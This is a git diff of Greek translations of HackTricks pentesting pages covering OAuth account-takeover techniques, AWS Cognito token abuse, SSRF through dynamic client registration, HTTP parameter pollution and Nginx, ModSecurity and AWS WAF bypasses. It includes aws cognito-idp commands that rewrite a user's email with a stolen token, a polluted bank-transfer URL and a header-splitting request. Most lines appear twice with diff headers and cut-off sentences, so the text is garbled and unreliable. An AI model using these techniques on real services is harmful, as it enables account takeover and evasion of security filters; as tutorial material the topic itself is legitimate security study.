Ο **κωδικός εξουσιοδότησης θα πρέπει να ζει μόνο για κάποιο χρονικό διάστημα για να περιοριστεί το παράθυρο χρόνου όπου ένας επιτιθέμενος μπορεί να τον κλέψει και να τον χρησιμοποιήσει**.
### Κωδικός Εξουσιοδότησης/Ανανέωσης που δεν συνδέεται με τον πελάτη
Αν μπορείτε να αποκτήσετε τον **κωδικό εξουσιοδότησης και να τον χρησιμοποιήσετε με έναν διαφορετικό πελάτη, τότε μπορείτε να αναλάβετε τον έλεγχο άλλων λογαριασμών**.
Αν μπορείτε να πάρετε τον **κωδικό εξουσιοδότησης και να τον χρησιμοποιήσετε με ένα διαφορετικό πελάτη τότε μπορείτε να αναλάβετε τον έλεγχο άλλων λογαριασμών**.
### Ευτυχισμένες Διαδρομές, XSS, Iframes & Αποστολή Μηνυμάτων για αποκάλυψη κωδικού και κατάστασης
### Ευτυχισμένες Διαδρομές, XSS, Iframes & Αποστολή Μηνυμάτων για τη Διαρροή κωδικού & κατάστασης
**[Ελέγξτε αυτήν την ανάρτηση](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
### AWS Cognito <a href="#bda5" id="bda5"></a>
Σε αυτήν την αναφορά για ευρήματα από το πρόγραμμα ανταμοιβής ευρετηρίου σφαλμάτων: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) μπορείτε να δείτε ότι το **token** που παρέχει το **AWS Cognito** στον χρήστη μπορεί να έχει **επαρκείς δικαιώματα για να αντικαταστήσει τα δεδομένα του χρήστη**. Επομένως, αν μπορείτε να **αλλάξετε το ηλεκτρονικό ταχυδρομείο του χρήστη με ένα διαφορετικό ηλεκτρονικό ταχυδρομείο**, μπορείτε να **αναλάβετε** τους λογαριασμούς άλλων ατόμων.
Σε αυτήν την αναφορά ευρήματος ανταμοιβής ευρήματος σφαλμάτων: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) μπορείτε να δείτε ότι το **διακριτικό** που **δίνει πίσω το AWS Cognito** στον χρήστη μπορεί να έχει **επαρκείς δικαιώματα για την αντικατάσταση των δεδομένων του χρήστη**. Επομένως, αν μπορείτε να **αλλάξετε το email του χρήστη για ένα διαφορετικό email χρήστη**, μπορείτε να **αναλάβετε** τους λογαριασμούς άλλων.
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -148,35 +161,39 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
]
}
```
Για περισσότερες λεπτομέρειες σχετικά με το πώς να καταχραστείτε το AWS Cognito, ελέγξτε:
### Κατάχρηση των τεκμηρίων άλλων εφαρμογών <a href="#bda5" id="bda5"></a>
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
Όπως [**αναφέρεται σε αυτό το άρθρο**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), οι ροές OAuth που αναμένουν να λάβουν το **token** (και όχι έναν κωδικό) θα μπορούσαν να είναι ευάλωτες αν δεν ελέγχουν ότι το token ανήκει στην εφαρμογή.
### Κατάχρηση διαπιστευτηρίων άλλων εφαρμογών <a href="#bda5" id="bda5"></a>
Όπως [**αναφέρεται σε αυτήν την ανάλυση**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), οι ροές OAuth που αναμένουν να λάβουν το **token** (και όχι έναν κωδικό) μπορεί να είναι ευάλωτες αν δεν ελέγχουν αν το token ανήκει στην εφαρμογή.
Αυτό συμβαίνει επειδή ένας **επιτιθέμενος** μπορεί να δημιουργήσει μια **εφαρμογή που υποστηρίζει το OAuth και να συνδεθεί με το Facebook** (για παράδειγμα) στη δική του εφαρμογή. Έπειτα, αφού ένα θύμα συνδεθεί με το Facebook στην **εφαρμογή του επιτιθέμενου**, ο επιτιθέμενος μπορεί να λάβει το **OAuth token του χρήστη που δόθηκε στην εφαρμογή του, και να το χρησιμοποιήσει για να συνδεθεί στην εφαρμογή OAuth του θύματος χρησιμοποιώντας το token του θύματος**.
Αυτό συμβαίνει επειδή ένας **επιτιθέμενος** θα μπορούσε να δημιουργήσει μια **εφαρμογή που υποστηρίζει το OAuth και να συνδεθεί με το Facebook** (για παράδειγμα) στη δική του εφαρμογή. Στη συνέχεια, μόλις ένα θύμα συνδεθεί με το Facebook στην **εφαρμογή του επιτιθέμενου**, ο επιτιθέμενος θα μπορούσε να λάβει το **OAuth token του χρήστη που δόθηκε στην εφαρμογή του, και να το χρησιμοποιήσει για να συνδεθεί στην εφαρμογή OAuth του θύματος χρησιμοποιώντας το token του χρήστη του θύματος**.
{% hint style="danger" %}
Συνεπώς, αν ο επιτιθέμενος καταφέρει να πείσει τον χρήστη να δώσει πρόσβαση στη δική του εφαρμογή OAuth, θα μπορέσει να αναλάβει τον έλεγχο του λογαριασμού του θύματος σε εφαρμογές που αναμένουν ένα token και δεν ελέγχουν αν το token έχει χορηγηθεί στο αναγνωριστικό της εφαρμογής τους.
Συνεπώς, αν ο επιτιθέμενος καταφέρει να κάνει τον χρήστη να δώσει πρόσβαση στη δική του εφαρμογή OAuth, θα μπορέσει να αναλάβει τον έλεγχο του λογαριασμού του θύματος σε εφαρμογές που αναμένουν ένα token και δεν ελέγχουν αν το token χορηγήθηκε στο αναγνωριστικό της εφαρμογής τους.
{% endhint %}
### Δύο συνδέσμοι και cookie <a href="#bda5" id="bda5"></a>
### Δύο συνδέσμοι & cookie <a href="#bda5" id="bda5"></a>
Σύμφωνα με [**αυτήν την ανάλυση**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να πείσει κάποιο θύμα να ανοίξει μια σελίδα με ένα **returnUrl** που να δείχνει στον επιτιθέμενο κεντρικό υπολογιστή. Αυτές οι πληροφορίες θα αποθηκευόντουσαν σε ένα **cookie (RU)** και σε ένα **επόμενο βήμα** το **παράθυρο επιβεβαίωσης** θα **ζητούσε** από τον **χρήστη** αν θέλει να δώσει πρόσβαση στον επιτιθέμενο κεντρικό υπολογιστή.
Σύμφωνα με [**αυτό το άρθρο**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να πείσει κάποιον να ανοίξει μια σελίδα με ένα **returnUrl** που οδηγεί στον διακομιστή του επιτιθέμενου. Αυτές οι πληροφορίες θα **αποθηκευτούν σε ένα cookie (RU)** και σε ένα **μεταγενέστερο βήμα** το **παράθυρο επιβεβαίωσης** θα **ζητήσει** από τον **χρήστη** αν θέλει να δώσει πρόσβαση σε αυτόν τον διακομιστή του επιτιθέμενου.
Για να παρακάμψετε αυτό το παράθυρο επιβεβαίωσης, ήταν δυνατό να ανοίξετε ένα καρτέλα για να ξεκινήσετε τη ροή OAuth που θα έθετε αυτό το RU cookie χρησιμοποιώντας το returnUrl, να κλείσετε την καρτέλα πριν εμφανιστεί το παράθυρο επιβεβαίωσης και να ανοίξετε μια νέα καρτέλα χωρίς αυτήν την τιμή. Έτσι, το παράθυρο επιβεβαίωσης δεν θα ενημερώνει για τον επιτιθέμενο κεντρικό υπολογιστή, αλλά το cookie θα έχει οριστεί σε αυτόν, έτσι το **token θα αποσταλεί στον επιτιθέμενο κεντρικό υπολογιστή** κατά την ανακατεύθυνση.
Για να παρακάμψετε αυτό το παράθυρο επιβεβαίωσης, ήταν δυνατό να ανοίξετε ένα καρτελάκι για να ξεκινήσετε την **ροή OAuth** που θα ορίσει αυτό το RU cookie χρησιμοποιώντας το **returnUrl**, να κλείσετε το καρτελάκι πριν εμφανιστεί το παράθυρο επιβεβαίωσης, και να ανοίξετε ένα νέο καρτελάκι χωρίς αυτή την τιμή. Έτσι, το **παράθυρο επιβεβαίωσης δεν θα ενημερώσει για τον διακομιστή του επιτιθέμενου**, αλλά το cookie θα οριστεί σε αυτόν, έτσι το **token θα σταλεί στον διακομιστή του επιτιθέμενου** στην ανακατεύθυνση.
### Παράμετροι SSRF <a href="#bda5" id="bda5"></a>
### Παράμετροι SSRFs <a href="#bda5" id="bda5"></a>
**[Ελέγξτε αυτήν την έρευνα](https://portswigger.net/research/hidden-oauth-attack-vectors) για περισσότερες λεπτομέρειες σχετικά με αυτήν την τεχνική.**
**[Ελέγξτε αυτή την έρευνα](https://portswigger.net/research/hidden-oauth-attack-vectors) για περισσότερες λεπτομέρειες σχετικά με αυτήν την τεχνική.**
Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως ένας λιγότερο προφανής, αλλά κρίσιμος διάνοια για ευπάθειες ασφαλείας, ειδικά για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το σημείο παρέχει στους διακομιστές OAuth λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων διευθύνσεων URL που μπορούν να εκμεταλλευθούν.
Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως ένας λιγότερο προφανής αλλά κρίσιμος διάνυσμα για ευπάθειες ασφάλειας, ειδικά για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το σημείο επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων διευθύνσεων URL που θα μπορούσαν να εκμεταλλευτούνται.
**Κύρια σημεία:**
**Κύρια Σημεία:**
- Η Δυναμική Εγγραφή Πελάτη συνήθως αντιστοιχίζεται στο `/register` και δέχεται λεπτομέρειες όπως `client_name`, `client_secret`, `redirect_uris` και διευθύνσεις URL για λογότυπα ή σύνολα κλειδιών JSON (JWKs) μέσω αιτήσεων POST.
- Αυτή η λειτουργία συμμορφώνεται με τις προδιαγραφές που ορίζονται στα **RFC7591** και **OpenID Connect Registration 1.0**, οι οποίες περιλαμβάνουν παραμέτρους που είναι ευάλωτες σε SSRF.
- Η διαδικασία εγγραφής μπορεί να αποκαλύψει κατά λάθος τους διακομιστές σε SSRF με διάφορους τρόπους:
- **`logo_uri`**:
- Η **Δυναμική Εγγραφή Πελάτη** συνήθως αντιστοιχίζεται στο `/register` και δέχεται λεπτομέρειες όπως `client_name`, `client_secret`, `redirect_uris`, και διευθύνσεις URL για λογότυπα ή JSON Web Key Sets (JWKs) μέσω αιτήσεων POST.
- Αυτό το χαρακτηριστικό συμμορφώνεται με τις προδιαγραφές που ορίζονται στα **RFC7591** και **OpenID Connect Registration 1.0**, τα οποία περιλαμβάνουν παραμέτρους που είναι ευάλωτες στο SSRF.
- Η διαδικασία εγγραφής μπορεί ακούσια να εκθέσει τους διακομιστές σε SSRF με διάφορους τρόπους:
- **`logo_uri`**: Μια διεύθυνση URL για το λογότυπο της εφαρμογής πελάτη που ενδέχεται να ανακτηθεί από τον διακομιστή, ενεργοποιώντας το SSRF ή οδηγώντας σε XSS αν η διεύθυνση URL δεν χειρίζεται σωστά.
- **`jwks_uri`**: Μια διεύθυνση URL για το έγγραφο JWK του πελάτη, το οποίο αν διαμορφωθεί με κακόβουλο τρόπο, μπορεί να οδηγήσει τον διακομιστή να κάνει εξερχόμενες αιτήσεις σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο.
- **`sector_identifier_uri`**: Αναφέρει ένα JSON πίνακα με `redirect_uris`, τον οποίο ο διακομιστής ενδέχεται να ανακτήσει, δημιουργώντας μια ευκαιρία για SSRF.
- **`request_uris`**: Καταχωρεί επιτρεπόμενες διευθύνσεις URI αιτήσεων για τον πελάτη, οι οποίες μπορούν να εκμεταλλευτούνται αν ο διακομιστής ανακτά αυτές τις διευθύνσεις URI στην έναρξη της διαδικασίας εξουσιοδότησης.
**Στρατηγική Εκμετάλλευσης:**
- Το SSRF μπορεί να ενεργοποιηθεί με την εγγραφή ενός νέου πελάτη με κακόβουλες διευθύνσεις URL σε παραμέτρους όπως `logo_uri`, `jwks_uri`, ή `sector_identifier_uri`.
- Ενώ η άμεση εκμετάλλευση μέσω του `request_uris` μπορεί να αντιμετωπιστεί με ελέγχους λευκής λίστας, η παροχή ενός προ-εγγεγραμμένου, ελεγχόμενου από τον επιτιθέμενο `request_uri` μπορεί να διευκολύνει το SSRF κατά τη διάρκεια της φάσης εξουσιοδότησης.

View file

@ -1,46 +1,71 @@
# Ρύθμιση Παραμέτρων Ρύπανσης
# Ρύπανση Παραμέτρων
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Επισκόπηση Ρύπανσης Παραμέτρων HTTP (HPP)
Η Ρύπανση Παραμέτρων HTTP (HPP) είναι μια τεχνική όπου οι επιτιθέμενοι παραμορφώνουν τις παραμέτρους HTTP για να αλλάξουν τη συμπεριφορά μιας ιστοσελίδας με ανεπιθύμητους τρόπους. Αυτή η παραμόρφωση γίνεται προσθέτοντας, τροποποιώντας ή αντιγράφοντας παραμέτρους HTTP. Το αποτέλεσμα αυτών των παραμορφώσεων δεν είναι άμεσα ορατό στον χρήστη, αλλά μπορεί να αλλοιώσει σημαντικά τη λειτουργικότητα της εφαρμογής στην πλευρά του διακομιστή, με παρατηρήσιμες επιπτώσεις στην πλευρά του πελάτη.
Η Ρύπανση Παραμέτρων HTTP (HPP) είναι μια τεχνική όπου οι επιτιθέμενοι διαχειρίζονται τις παραμέτρους HTTP για να αλλάξουν τη συμπεριφορά μιας ιστοσελίδας με μη επιθυμητούς τρόπους. Αυτή η διαχείριση γίνεται προσθέτοντας, τροποποιώντας ή διπλασιάζοντας τις παραμέτρους HTTP. Τα αποτελέσματα αυτών των διαχειρίσεων δεν είναι απευθείας ορατά στον χρήστη, αλλά μπορεί να αλλάξουν σημαντικά τη λειτουργικότητα της εφαρμογής στην πλευρά του διακομιστή, με παρατηρήσιμες επιπτώσεις στην πλευρά του πελάτη.
## Παράδειγμα Ρύπανσης Παραμέτρων HTTP (HPP)
Ένα URL συναλλαγής μιας τραπεζικής εφαρμογής:
Ένα URL συναλλαγών εφαρμογής τραπεζικών συναλλαγών:
- **Αρχικό URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
Με την εισαγωγή μιας επιπλέον παραμέτρου `from`:
Με την εισαγωγή ενός επιπλέον παραμέτρου `from`:
- **Παραμορφωμένο URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
- **Ρυπασμένο URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
Η συναλλαγή μπορεί να χρεωθεί εσφαλμένα στον λογαριασμό `accountC` αντί για τον λογαριασμό `accountA`, αποδεικνύοντας τη δυνατότητα της HPP να παραμορφώνει συναλλαγές ή άλλες λειτουργίες, όπως επαναφορές κωδικών πρόσβασης, ρυθμίσεις 2FA ή αιτήσεις κλειδιών API.
Η συναλλαγή μπορεί να χρεωθεί εσφαλμένα στον λογαριασμό `accountC` αντί για τον `accountA`, επιδεικνύοντας τη δυνατότητα της HPP να χειριστεί συναλλαγές ή άλλες λειτουργίες όπως επαναφορές κωδικών, ρυθμίσεις 2FA ή αιτήσεις κλειδιών API.
### Ανάλυση Παραμέτρων Εξαρτημένη από την Τεχνολογία
### **Ανάλυση Παραμέτρων Που Εξαρτώνται από την Τεχνολογία**
- Ο τρόπος με τον οποίο οι παράμετροι αναλύονται και δίνεται προτεραιότητα εξαρτάται από την υποκείμενη τεχνολογία ιστού, επηρεάζοντας τον τρόπο με τον οποίο μπορεί να εκμεταλλευτείται η HPP.
- Εργαλεία όπως το [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) βοηθούν στον εντοπισμό αυτών των τεχνολογιών και των τρόπων ανάλυσής τους.
- Ο τρόπος με τον οποίο εξετάζονται και δίνεται προτεραιότητα στις παράμετροι εξαρτάται από την υποκείμενη τεχνολογία του web, επηρεάζοντας τον τρόπο με τον οποίο μπορεί να εκμεταλλευτείται η HPP.
- Εργαλεία όπως το [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) βοηθούν στην αναγνώριση αυτών των τεχνολογιών και των τρόπων ανάλυσής τους.
## Εκμετάλλευση PHP και HPP
**Περίπτωση Εκμετάλλευσης Παραμορφώσεων OTP:**
**Περίπτωση Εκμετάλλευσης OTP:**
- **Πλαίσιο:** Μια μηχανισμός σύνδεσης που απαιτεί Ένα Φοράς Κωδικό (OTP) εκμεταλλεύτηκε.
- **Μέθοδος:** Με την παρεμβολή του αιτήματος OTP χρησιμοποιώντας εργαλεία όπως το Burp Suite, οι επιτιθέμενοι αντέγραψαν την παράμετρο `email` στο αίτημα HTTP.
- **Αποτέλεσμα:** Ο OTP, που προοριζόταν για το αρχικό email, αντί για αυτό, απεστάλη στη δεύτερη διεύθυνση email που καθορίστηκε στο παραμορφωμένο αίτημα. Αυτή η ελάττωση επέτρεψε την μη εξουσιοδοτημένη πρόσβαση παρακάμπτοντας το αρχικό μέτρο ασφαλείας.
- **Πλαίσιο:** Μια μηχανισμός σύνδεσης που απαιτεί Ένα Μοναδικό Κωδικό (OTP) εκμεταλλεύτηκε.
- **Μέθοδος:** Με την παρέμβαση στο αίτημα OTP χρησιμοποιώντας εργαλεία όπως το Burp Suite, οι επιτιθέμενοι διπλασίασαν την παράμετρο `email` στο αίτημα HTTP.
- **Αποτέλεσμα:** Ο OTP, που ήταν προορισμένος για το αρχικό email, αντίθετα στάλθηκε στη δεύτερη διεύθυνση email που καθορίστηκε στο ρυπασμένο αίτημα. Αυτή η αδυναμία επέτρεψε τη μη εξουσιοδοτημένη πρόσβαση με την παράκαμψη του προβλεπόμενου μέτρου ασφαλείας.
Αυτό το σενάριο υπογραμμίζει μια κρίσιμη παράλειψη στον πίσω χώρο της εφαρμογής, η οποία επεξεργάστηκε την πρώτη παράμετρο `email` για τη δημιουργία OTP, αλλά χρησιμοποίη
Αυτό το σενάριο υπογραμμίζει ένα κρίσιμο παράλειμμα στον πίσω χώρο της εφαρμογής, η οποία επεξεργαζόταν την πρώτη παράμετρο `email` για τη δημιουργία OTP αλλά χρησιμοποιούσε την τελευταία για την παράδοση.
**Περίπτωση Εκμετάλλευσης Κλειδιού API:**
- **Σενάριο:** Μια εφαρμογή επιτρέπει στους χρήστες να ενημερώνουν το κλειδί API τους μέσω μιας σελίδας ρυθμίσεων προφίλ.
- **Διανυσματική Επίθεση:** Ένας επιτιθέμενος ανακαλύπτει ότι προσθέτοντας μια επιπλέον παράμετρο `api_key` στο αίτημα POST, μπορεί να εκμεταλλευτεί το αποτέλεσμα της λειτουργίας ενημέρωσης κλειδιού API.
- **Τεχνική:** Χρησιμοποιώντας ένα εργαλείο όπως το Burp Suite, ο επιτιθέμενος δημιουργεί ένα αίτημα που περιλαμβάνει δύο παραμέτρους `api_key`: μία νόμιμη και μία κακόβουλη. Ο διακομιστής, επεξεργαζόμενος μόνο την τελευταία εμφάνιση, ενημερώνει το κλειδί API στην τιμή που παρέχει ο επιτιθέμενος.
- **Αποτέλεσμα:** Ο επιτιθέμενος αποκτά έλεγχο επί της λειτουργικότητας του κλειδιού API του θύματος, πιθανώς έχοντας πρόσβαση ή τροποποιώντας ιδιωτικά δεδομένα μη εξουσιοδοτημένα.
Αυτό το παράδειγμα υπογραμμίζει ακόμη περισσότερο την ανάγκη για ασφαλή χειρισμό παραμέτρων, ειδικά σε χαρακτηριστικά τόσο κρίσιμα όσο η διαχείριση κλειδιών API.
## Ανάλυση Παραμέτρων: Flask έναντι PHP
Ο τρόπος με τον οποίο οι τεχνολογίες web χειρίζονται διπλές παράμετρους HTTP διαφέρει, επηρεάζοντας την ευπάθειά τους στις επιθέσεις HPP:
- **Flask:** Προτιμά την τιμή της πρώτης παραμέτρου που συναντά, όπως `a=1` σε μια συμβολοσειρά ερωτήματος `a=1&a=2`, δίνοντας προτεραιότητα στην αρχική εμφάνιση έναντι των επόμενων διπλών.
- **PHP (σε Διακομιστή Apache HTTP):** Αντίθετα, δίνει προτεραιότητα στην τελευταία τιμή παραμέτρου, επιλέγοντας το `a=2` στο δεδομένο παράδειγμα. Αυτή η συμπεριφορά μπορεί ακούσια να διευκολύνει τις επιθέσεις HPP δίνοντας προτεραιότητα στη ρυπασμένη παράμετρο του επιτιθέμενου έναντι της αρχικής.
## Αναφορές
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com

View file

@ -1,19 +1,23 @@
# Διαγραφή Προστασιών Προξειδωτή / WAF
# Διαγραφή Προστασιών Proxy / WAF
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Διαγραφή Κανόνων ACL του Nginx με Αλλοίωση Ονομάτων Διαδρομής <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
Τεχνικές [από αυτή την έρευνα](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
@ -88,7 +92,7 @@ deny all;
Οι μεταβλητές `REQUEST_BASENAME` και `PATH_INFO` επηρεάστηκαν επίσης από αυτό το σφάλμα.
Κάτι παρόμοιο συνέβη στην έκδοση 2 του Mod Security που επέτρεπε την παράκαμψη προστασίας που αποτρέπει τον χρήστη από την πρόσβαση σε αρχεία με συγκεκριμένες επεκτάσεις που σχετίζονται με αρχεία αντιγράφων ασφαλείας (όπως `.bak`) απλώς αποστέλλοντας την τελεία με κωδικοποίηση URL σε `%2e`, για παράδειγμα: `https://example.com/backup%2ebak`.
Κάτι παρόμοιο συνέβη στην έκδοση 2 του Mod Security που επέτρεπε την παράκαμψη προστασίας που αποτρέπει τον χρήστη από την πρόσβαση σε αρχεία με συγκεκριμένες επεκτάσεις που σχετίζονται με αρχεία αντιγράφων ασφαλείας (όπως `.bak`) απλώς αποστέλλοντας το τελεία URL κωδικοποιημένο σε `%2e`, για παράδειγμα: `https://example.com/backup%2ebak`.
## Παράκαμψη AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
@ -105,23 +109,28 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
Ήταν δυνατόν να παρακάμψετε το AWS WAF επειδή δεν κατανόησε ότι η επόμενη γραμμή αποτελεί μέρος της τιμής της κεφαλίδας, ενώ ο διακομιστής NODEJS το κατανόησε (αυτό διορθώθηκε).
Ήταν δυνατόν να παρακάμψετε το AWS WAF επειδή δεν κατανόησε ότι η επόμενη γραμμή είναι μέρος της τιμής της κεφαλίδας, ενώ ο διακομιστής NODEJS το κατανόησε (αυτό διορθώθηκε).
## Αναφορές
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
